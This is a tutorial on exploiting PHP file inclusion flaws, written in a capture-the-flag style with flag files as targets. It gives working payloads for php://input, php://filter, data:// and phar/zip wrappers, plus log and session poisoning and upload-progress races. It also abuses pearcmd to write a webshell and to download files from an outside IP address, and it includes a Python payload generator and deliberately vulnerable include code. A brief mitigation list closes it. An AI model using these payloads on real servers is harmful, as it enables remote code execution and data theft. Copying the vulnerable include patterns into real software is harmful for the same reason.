Understanding and Exploiting File Inclusion Vulnerabilities in PHP
File inclusion vulnerabilities occur when an application dynamically includes files based on user input without proper validation. This can allow attackers to execute arbitrary code or access sensitive files.
Root Causes
- Improper Use of File Inclusion Functions: Functions like
require,require_once,include, andinclude_onceare misused. - Dynamic File Variables Controlled by Clients: The file parameter in inclusion functions is dynamically set and controllable by user input. Even non-PHP files containing PHP code will be executed if included.
The combination of these factors leads to file inclusion vulnerabilities.
Exploitation Techniques
Basic Environment Setup
Consider a vulnerable script study.php:
<?php
if (isset($_GET['file'])) {
$file = $_GET['file'];
include $file;
} else {
highlight_file(__FILE__);
}
?>
Here, the include function uses a user-controlled variable, creating a vulnerability.
Protocol-Based Exploitation
PHP Protocol
PHP wrappers can be used to read files. When include processes a PHP wrapper, PHP executes the wrapper and includes any retrieved data, executing PHP code within.
Common wrappers:
-
php://input: Reads raw POST data and executes it as PHP code.- Requirement:
allow_url_includemust beOn(default isOffin PHP 5.2+). - Payload:
/?file=php://input - Example: Send POST data with
<?php system('ls'); ?>.
- Requirement:
-
php://filter: Processes data with filters.- Syntax:
php://filter/(param1)=(param2)/resource=(param3) - Parameters:
param1: Read or write mode (default isread).param2: Filter to apply.param3: Data source (e.g., filename).
Common filters:
- String filters:
string.rot13,string.toupper,string.tolower.- Example:
/?file=php://filter/read=string.rot13/resource=flag.php
- Example:
- Conversion filters:
convert.base64-encode,convert.base64-decode,convert.quoted-printable-encode,convert.quoted-printable-decode.- Example:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
- Example:
- Encoding conversion filters:
convert.iconv.UTF-8.UTF-7(format:convert.iconv.original-encoding.new-encoding).- Example:
/?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php
- Example:
- Syntax:
Data Protocol
Transmits data, allowing RCE code injection.
- Requirement:
allow_url_includemust beOn. - Syntax:
data://text/plain,<code>data://text/plain;base64,<base64-encoded-code>
- Example:
/?file=data://text/plain,<?php system("cat flag.php");?>
File Protocol
Reads files via absolute paths.
- Syntax:
file://path - Example:
/?file=file:///flag(reads/flag)
Phar Protocol
Reads Phar or compressed files (e.g., ZIP). May require file upload.
- Syntax:
phar://path/archive-file/subfile - Example:
/?file=phar://flag.zip/flag.php
Zip Protocol
Similar to Phar but requires absolute paths and uses %23 for #.
- Example:
/?file=zip://flag.zip%23flag.php
Log File Inclusion
Exploits web server log files if they are readable and at default locations.
- Requirements: Default log paths unchanged and readable.
- Default paths:
- Apache:
/var/log/apache2/access.log - Nginx:
/var/log/nginx/access.log
- Apache:
- Technique: Inject RCE code into User-Agent header, then include the log file.
- Example: Modify User-Agent to
<?php system('ls'); ?>and include/var/log/apache2/access.log. - Note: Avoid double quotes to prevent escaping by PHP magic quotes.
Session File Inclusion
Exploits PHP session files.
- Requirements:
session.auto_start=1orsession_start()in code.- Session files stored at default location and readable.
- Default session path:
/var/lib/php/sessions/ - File naming:
sess_<PHPSESSID> - Technique: Inject RCE into session data via
$_SESSIONarray. - Example code:
Payload:<?php if (isset($_GET['file']) && isset($_GET['name'])) { $file = $_GET['file']; session_start(); $name = $_GET['name']; $_SESSION['name'] = $name; include($file); } else { highlight_file(__FILE__); } ?>/?file=/var/lib/php/sessions/sess_<PHPSESSID>&name=<?php system('cat /flag');?>
Base64 Encoding Bypass
If session data is base64-encoded, use filters to decode and include.
- Challenge: Session file contains non-base64 characters (e.g.,
|,:). - Solution: Adjust input length so total base64 string length is a multiple of 4.
- Example script to generate payload:
import base64 import random import string def generate_random_string(length): characters = string.ascii_letters + string.digits return ''.join(random.choice(characters) for _ in range(length)) def get_payload(target): length = (100 - len(base64.b64encode(target.encode('utf-8')))) * 3 // 4 random_str = generate_random_string(length) return random_str + target target = "<?php system('ls');?>" payload = get_payload(target) print(payload)
No session_start() Exploitation
If session_start() is absent, use PHP_SESSION_UPLOAD_PROGRESS during file uploads.
- Requirements:
session.upload_progress.enabled=On(default). - Technique: Upload a file with
PHP_SESSION_UPLOAD_PROGRESSset to RCE code, then include session file before cleanup. - Example payload:
PHP_SESSION_UPLOAD_PROGRESS=<?php system('cat flag.php');?> - Use race condition scripts to include before deletion.
Pearcmd Inclusion
Exploits PEAR command-line tool via web inclution.
- Requirements:
register_argc_argv=Onin PHP config (default isOff).pearcmd.phpat default location (e.g.,/usr/local/lib/php/pearcmd.php).- PEAR configured.
- Technique: Include
pearcmd.phpand pass commands via URL parameters. - Commands:
config-create: Creates a config file with arbitrary content.- Usage:
pear config-create rootpath filename - Payload:
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php
- Usage:
install: Downloads files from a URL.- Usage:
pear install http://ip:port/path/file - Payload:
?+install+--installroot+&file=/usr/share/php/pearcmd.php&+http://192.168.10.199:8001/phpinfo.php
- Usage:
download: Downloads files to current directory.- Usage:
pear download http://ip:port/path/file - Payload:
?+download+http://192.168.10.199:8001/phpinfo.php&file=/usr/share/php/pearcmd.php
- Usage:
Practical Examples
Example 1: Basic Filter Bypass
Vulnerable code:
<?php
highlight_file(__FILE__);
$file = $_GET['file'];
if (isset($file) && !preg_match('/base|rot/i', $file)) {
@include($file);
} else {
die("nope");
}
?>
- Filter bypass using
convert.iconv.UTF-8.UTF-7:- Payload:
?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php
- Payload:
Example 2: Advanced Filtering
Vulnerable code:
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$file = $_GET['file'];
if (preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file . ".php");
} else {
highlight_file(__FILE__);
}
?>
- Use
pearcmdinclusion:- Payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_GET['x']);?>+/var/www/html/shell.php - Then access
shell.php?x=system('ls /');to execute commands.
- Payload:
Mitigation Strategies
- Validate and sanitize all user inputs used in file inclusion functions.
- Use allowlists for file paths.
- Disable dangerous PHP settings like
allow_url_include. - Implement proper session management and file permissions.
- Regularly update and patch PHP and server configurations.
By understanding these techniques, develoeprs can better secure applications against file inclusion vulnerabilities.